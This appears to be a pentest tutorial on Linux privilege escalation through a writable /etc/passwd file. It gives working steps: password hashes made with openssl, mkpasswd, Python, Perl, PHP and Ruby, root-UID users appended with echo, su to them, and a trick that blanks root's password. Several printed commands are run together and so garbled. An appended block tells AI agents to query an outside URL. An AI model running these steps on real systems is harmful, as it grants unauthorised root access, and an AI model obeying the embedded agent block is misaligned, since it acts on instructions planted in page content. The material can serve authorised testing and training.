# Linux Privilege Escalation with Misconfigured /etc/passwd&#x20;

Firstly, we should be aware of /etc/passwd file in depth before reaching the point. Inside etc directory, we will get three most important files i.e. **passwd**, **group**, and **shadow**.

**etc/passwd:** It is a human-readable text file which stores information of user account.

**etc/group:** It is also a human-readable text file which stores group information as well as user belongs to which group can be identified through this file.

**etc/shadow:** It is a file that contains encrypted password and information of the account expire for any user.

**The format of details in /passwd File**

![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj29BD_zZp9HG2fvhoeaAqaqs7bbImdBXtc9JYch4fgfl9ROsT3GkpNnrdyOsYhXfX0-c11xjE4Wn556PyyAzU0dbD4PG8dbmjtaCF6sLQJQ48_E07g1SqNARPXTbohHDBjrWoKRCC9xYvXTi8zlhdh258_epM02uO9OghsMmZrq-Ue6wLrAytoooBfuckj/s16000/0.png)

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQrX17dJLZ2Ixhe7pQipq0xPX8OV1vb7KNuMQ27ij4lOOwcR3nkyKvYRnrE6m9wcQp8vHAqs6D0AoG-FEiC7pUJnq2ZzHdJ4Q3FTR8XrcUOftPHYsH2rz9qlQZd3XA2ohCSGttIKoTVHHXK2HCjCY88vM-dG7NfNThfJ0AX5rlwV49U2ExkpqjBzZ8DeFi/s16000/1.png" alt=""><figcaption></figcaption></figure>

**Get into its Details Description**

**Username:** First filed indicates the name of the user which is used to login.

**Encrypted password:** The **X denote**s encrypted password which is actually stored inside /shadow file. If the user does not have a password, then the password field will have an **\***(**asterisk**).

**User Id (UID):** Every user must be allotted a user ID (UID). UID **0** (zero) is kept for root user and UIDs **1-99** are kept for further predefined accounts, UID **100-999** are kept by the system for administrative purpose. UID **1000** is almost always the first non-system user, usually an administrator. If we create a new user on our Ubuntu system, it will be given the UID of **1001**.

**Group Id (GID):** It denotes the group of each user; like as UIDs, the first **100** GIDs are usually kept for system use. The GID of **0** relates to the root group and the GID of **1000** usually signifies the users. New groups are generally allotted GIDs beginning from **1000.**

**Gecos Field:** Usually, this is a set of comma-separated values that tells more details related to the users. The format for the GECOS field denotes the following information:

User’s full name

Building and room number or contact person

Office telephone number

**Shell:** It denotes the full path of the default shell that executes the command (by the user) and displays the results.

&#x20;**NOTE:** Each field is separated by **(colon)**

#### **Possible Scenarios:**

If /etc/passwd file is editable what would be the possible scenarios to escalate the privileges?

Scenario 1: Replace the password hash for existing users in /etc/passwd file with our encrypted password.

Scenario 2: Manually add a new root privilege user to the/etc/passwd file with our encrypted password.

Scenario 3: Tempering the root or high-privilege user password in the/etc/passwd file.

**Let’s start now!**

Connect with this machine with SSH:

ssh <pentest@192.168.1.22tail> /etc/passwdls -al /etc/passwd

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtMuUtyvSizEFDxMUMDA-NfpRhR7FtIdRmOvry3L1dxs40t7zF-RFFVw1VKt1QCSSJBT220gQIERpq_M7U4DrbXo5elMsp_CsdT7ZRCj00zjcNnx5JemGd6o44d4Fr1jBul8cK2ZNoi2AbRC_i5vjVKuxUyL3iLCmBlGg42VpvmjWH3XBKrj8mzky_3D0j/s16000/9.png" alt=""><figcaption></figcaption></figure>

It is clearly visible that /etc/passwd file has all permissions.

#### OpenSSL

Sometimes, the execution of the passwd command for user password setup might not be feasible. In such situations, the OpenSSL command can be employed. This command generates a salted encrypted password.

**OpenSSL** is a widely used open-source library that provides various cryptographic functions, protocols, and tools for securing communications over computer networks. The openssl passwd command allows you to generate password hashes for different algorithms, such as DES, MD5, SHA-256, and more.

#### Method 1

Here, we generated password in our kali machine.

`openssl passwd raj`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiF7NAMWSir_mKea9RsBjsYGHIVLiuxTRtrPJG_bkHmiAiGSdNWj5WD4LGJTDDsV-smlnHbRqzpBS28gjHZZdiKRsJO2yPcKhh6IcEXi6WCZAbeNz3kSXNP6CQjC9brmgrDSwmUbK_fCGomhBWX_NXDEsmW0Fitg0NQbPcYCuZO1CMFFzDJSC8VK9RBn8bE/s16000/10.png" alt=""><figcaption></figcaption></figure>

$1 = indicates that the generated passwd in MD5 hash format.

Now use this salted password for “aarti” user using echo command to put password in etc/passwd.

echo 'aarti:$1$cJ05ZYPP$06zg1KtuJ/CbzTWPmeyNH1:0:0:root:/root:/bin/bash' >> /etc/passwd

here, you can observed that we have allotted uid: 0 and gid: 0 and home directory /root/root hence we have given root privilege to our user “aarti”. Now switch user and access the terminal through aarti and confirm the root access.

tail /etc/passwdsu aartiid

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgblQtgYRPUdPWPQxdV48G0IS2-dvIjBfiEevRmyC57zVEadoEnx9tfCH6ceCkmGmUDGX4yvSuxzXm9cLMXCahG0E2pQNqQQ3t3aHwypOLfi4l_HUbMjY-ULolneSxvSPDZ8mpz2Xs43NFz-u3N7__sNIEJOLP-kw1iFTMSRlS6gvbKPibiSY7JzOQ_2gxk/s16000/11.png" alt=""><figcaption></figcaption></figure>

#### Method 2

This becomes relevant when OpenSSL is present on the victim’s system, allowing us to create passwords within the victim’s machine itself.

`openssl passwd 123echo 'user3:ghTC5HTjVd/7M:0:0:root:/root:/bin/bash' >> /etc/passwdtail /etc/passwd`

Now switch user and access the terminal through user3 and confirm the root access.

`su user3id`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3TXjnh25X467TOIgcAxRtMvGqCzQmjndooDJmZXwklf7w9grOat5p5VWf07WsyjtO8SzIWf898065py8Zhpk5HRUn24ScSi01cno3q5PJgSo-sd-5B3nlLxBGRt9UpYw9nvnV-sTrGS7OLk7DhS0ndWsTAQ2r96gibwL77TPCKvKqrJ62fQXWTcp6CVaL/s16000/12.png" alt=""><figcaption></figcaption></figure>

Cool!!! Both methods are working.

#### Mkpasswd

It is an alternate method of Openssl. **mkpasswd** is a command-line tool utilized for producing password hashes intended for diverse authentication systems.

`mkpasswd -m <method> <password>`

Here, \<method> specifies the hash algorithm (like sha-512, md5, etc.), and \<password> is the password you want to hash.

`mkpasswd -m SHA-512 pass123`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRgEe_Oda8-oIo7IUakfvVYMca2sldPzjCw_k43oz2LZrpT4gITG7xDQaDk97xfOP2uqdkWzGTxdFwGDDUBjEbIV_eML95S5b8Vzu3WNegs0vEkbc_B39xjrZn5tN5xQ02PR2nCcfM1rp8gNXquGpFRGB0hFlv5_4RrNaARfYoEKUoUuLUTxXHWbd0zY9S/s16000/13.png" alt=""><figcaption></figcaption></figure>

You can use the above similar method to add a password to /etc/passwd file or manually edit.

`nano /etc/passwd`

In the below image, you can observe that I have allotted uid: 0 and gid: 0 and home directory /root/root hence we have given root privilege to our user4.

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjCTDn4Kiv5xBfOJSZg5Gxv0YpVQ_0XyKjh35J6GAi3tAvPJAtxK2M9vwvtJvUJtpILs42y8LC_u4nfoVjPqPGhWT6e2QFrMlxQVecYVediUcpkmHlGobVoRlJAHXtdyrcokhf5RIwQx2pbb3MOWLlyk6IYjdBccj-Rd4B2ckTKyg9w0iHhCv52oSkU-Mc/s16000/14.png" alt=""><figcaption></figcaption></figure>

Now switch user and access the terminal through user4 and confirm the root access.

`su user4id`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7ihwAcW7F6SEEKfMQ2Rh3mgK7gcZYsS4Aac3K4YUrtx_EezKxrWpFE_labJ9zmdauEaK_wTeKOssmZMzlIJKHmC3mwfqAckHuaWi3uSbrXRVHgG6StBk2wEMmVaaliVrB8wXgBdfDroT45n5zWjT4g2OYoTe1QCkL5T-qbOysoIxk2eO8aGMgT6fkufQa/s16000/15.png" alt=""><figcaption></figcaption></figure>

Great!!! It is also working.

#### Python

Python allows us to add salt to our passwords, which will create an encrypted password that includes the salt value.

`python2 -c 'import crypt; print crypt.crypt("pass123", "$6$salt")'`

If above command is not working, you can use the python3 or check the installed python version with “which python” command.

`python3 -c 'import crypt; print (crypt.crypt("pass123", "$6$salt"))'`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDTxsafw1kPmLyvGk_re4XPAO22CmPEYK2kEATFraVwiTJQnFWhSSzMayweKrZMTw7GgfqLhU5qN9p7kY6MU-L2vVtjq0ACM4hCNbx-1vy-SxrIqmIkr-bf2VDq0XTsh6pHhGE3iILHTL48fnWVR-gMnuvncgm7PMbnICn3prhpiDwHcYB6QhBbdi53Jie/s16000/16.png" alt=""><figcaption></figcaption></figure>

Use any method to edit and put encrypted passwd into /etc/passwd file and switch to user5. Here we used nano editor.

`su user5id`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh43niWvJvVFe4JKSPBck7PAT2q_YJE4G0XPkRuKQVFnrq3VdKwFeH8n_f0vSj3DLjVCVHpHSKZnOXs2Orheeya0fHMNSxUSubveNnxX2hpAnx7C0WQKy78pliiSnCqsXor5aphE7WEJVkXEG45VXpOkS-9e1m6OWLXWkQk_wqd1fQc6mouPToeybGnOgCB/s16000/17.png" alt=""><figcaption></figcaption></figure>

It is also working.

#### Perl

Similar to this, we can create a hash value for our password using salt value using Perl along with crypt.

`perl -le 'print crypt("pass123", "abc")'`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqTFQPCyDnLgHZuwT2BpnJR8HWJBdqNPelRbv2vMqeDcb2uiH3M9aFFIjSONl2Tunrtf_pWyQ6GPW1t4ZBJIa9gn-nkvfXHHO3sWUA0XqdHPi7bP5AWX4c1-Y4T54Xi58Sic0fjSvjk85ofD765euO1_7HbbhiKy6QzYxLZJdS1h-cAzdIwlt7belRHfKG/s16000/19.png" alt=""><figcaption></figcaption></figure>

You will get the encrypted password; repeat the manual step of adding new user “user6” and putting the encrypted value into the password field with the echo command in terminal.

`echo ‘user6:abBxjdJQWn8xw:0:0:root:/root:/bin/bash’ >> /etc/passwd`

here, you can see that we have allotted uid: 0 and gid: 0 and home directory /root/root hence we have given root privilege to our user6. Switch to new user user6

`su user6id`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi53dPZbQWb-wZfUay9LFNsvlC_C39Y4XpNAb9RTS0AnPe55TUQQEkg_8pJ-QxZSVs3ZrGI6MIi_WSjFx0pYsfc1NsccxOiEqwnkxXTDoF74AlUtS0nV04_CVEYr9SEBA7nwgti04c1eSzxAzaqRnpN6N0Iv2PdqynLvzcfznJOCUj8c1GNQRwaXEfu8_p3/s16000/20.png" alt=""><figcaption></figcaption></figure>

Great!! This method is also working.

#### PHP

The hash for our password may also be created using PHP along with crypt using the salt value.

`php -r "print(crypt('aarti','123') . \"\n\");"`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmBFiyV2d5oStKU20DrMz6sAeKLu3X7A6ucsjptA5Gar6bI0Hny7zw439PSa8fQnX98qsGb3BKcSpu6JYkNYJkxgzbRGQM_K5xAXl6As1cf3tAAdbhzj-Y7AsMfqXQfqCXgKv8ipx5j-wAqWOik-w-nCoXo4FaU0LZ65e19UCLUbFkojpe4uyJBOuKAvAV/s16000/22.png" alt=""><figcaption></figcaption></figure>

You will get the encrypted password; repeat the same method of adding new user “user7” and putting the encrypted value into the password field with the echo command in terminal.

`echo ‘user7:121z.fuKOKzx.:0:0:root:/root:/bin/bash’ >> /etc/passwd`

In below image you can observe that we have allotted uid: 0 and gid: 0 and home directory /root/root hence we have given root privilege to our user7.

`tail -n 2 /etc/passwdsu user7id`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMs9ciuIEPejflY4fKsxkifYy3syeIf_nwQqhPIBUNLl8h9e2csIe9qI7h1KGckvgTK2NJ1LwqeXNvjULqcS4MoDTn1LqJziOq6uWb4BfFO5Whf7nKnoWxXIZqs8bVpb0apcMXVzHe4K8yvtXr_CNK9s_XKFRFWMVIgPjwjXDYX8-OY1vrF_o0d01rVq6i/s16000/23.png" alt=""><figcaption></figcaption></figure>

Working!!!

#### Ruby

As we have already use Python, Perl, PHP in the same way Ruby can be used for creating encrypted password along with crypt using the salt value.

ruby -r ‘digest’ -e ‘puts “pass”.crypt(“$6$salt”)’

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8QwJo287c_5RzdUarVXBRC-1AKbDcTXysfE4-XXxeMyRGnd97G2GOoYL2tGGTt12Q9u31yCioZMiRC3ex6RmX5LoDconJeMww6fl4Om-LszbPVWhDi2WUJyg5NEXxUQpRplqYhAZVWA7gYlOOJdAvRSSghx6j10ytmII6g2gM6rRqJ2QjaKXxxJBAFUXR/s16000/24.png" alt=""><figcaption></figcaption></figure>

Use any of above way to edit /etc/passwd and switch to new user user8

`su user8id`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4s1GONr0lwm6J5NzepRNvNEhXfIF5epU42IdqR9enZwSrYyeSi0XKqp8Qzln13hOXFvZpL_KWTAoin9MX7DV0ABMK0FnvziA8N7onpIy1dDfMjGyDIKzgLHkRRTB54WK14O56gC1aZFgL7Y11NiXf5cowj7LcCyoZ4dm6-HEB_cgs5UbD4kgzigWeYDAI/s16000/25.png" alt=""><figcaption></figcaption></figure>

This is also working.

#### Bonus: Hack Trick

If you are lazy to perform any of above methods you should try this!!!

If /etc/passwd file is having -rwxrwxrwx permissions in victim system, open /etc/passwd file and remove the ‘X’ or ‘\*’ value at the place of root password. As shown in image below:

![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGNttyWKNtfXrSVZK8mNYLypn5_H3mz5AW3DU74AVmbE6djasV852X6nPhS0TRJQNU_7ckKVQyxnR89YMnblvjmoUQG7V5Swnla9b4iBR8aqDwDWOMCUG2C0eDgazdk8Yq3LXAFTpWk2R15mJi9ajDmtDkCrqa0Rv_hDI08IVSpJYLRlm_a0LeJOwpUvYH/s16000/26.png)

**Methodology**: The ‘x’ value in the /etc/passwd file indicates that the actual password hash is stored in the /etc/shadow file (or a similar location), rather than in the /etc/passwd file itself.

If you remove the ‘x’ value and replace it with something else or leave it blank, the root user’s password will no longer be stored securely and the system won’t be able to authenticate the root user using the stored password hash from the /etc/shadow file.

Keep the root password blank and save the /etc/passwd file.

`root::0:0:root:/root:/bin/bash`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8bQxyVQ-dNu7Boc5WSTJD4-L1x8hgTrolGh0D-5-3X-vtVrOFilsqlabK-iwVkWCs0ERU9PYts98ZahGs8avt9dXqDdksj4oRJwNe9bS4vS-uXP-874EQfsJYTaRpDqJCkXy6FskLErU48apb9CUnFdrnzQOTuRysNeXLnGzDVJfKvQPi7QpmfZSBYrw7/s16000/27.png" alt=""><figcaption></figcaption></figure>

Now, switch to root user

`su rootid`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE_IPMCk-gGOT5mmV1MT6gVzddNQSiat4bdhlAgIAUM_wDU1mxhGcPRg1G7uBdFBQGAPVFIYGfNLKj-I01kElHj2bd6PwPU8Uh0ANFeH6wDzDSjwhXM9M_REQ1S4hg2DYCX8a1wCYWv_Pusz0NyjrBE_dL6a_FBUQh59_SaHXlxGEAdUQCy7maEx_3nxXy/s16000/28.png" alt=""><figcaption></figcaption></figure>

Boom… you have the root access without passwd. You can use this method on other high privilege user roles.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.anggipradana.com/tutorial/linux-privilege-escalation/linux-privilege-escalation-with-misconfigured-etc-passwd.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
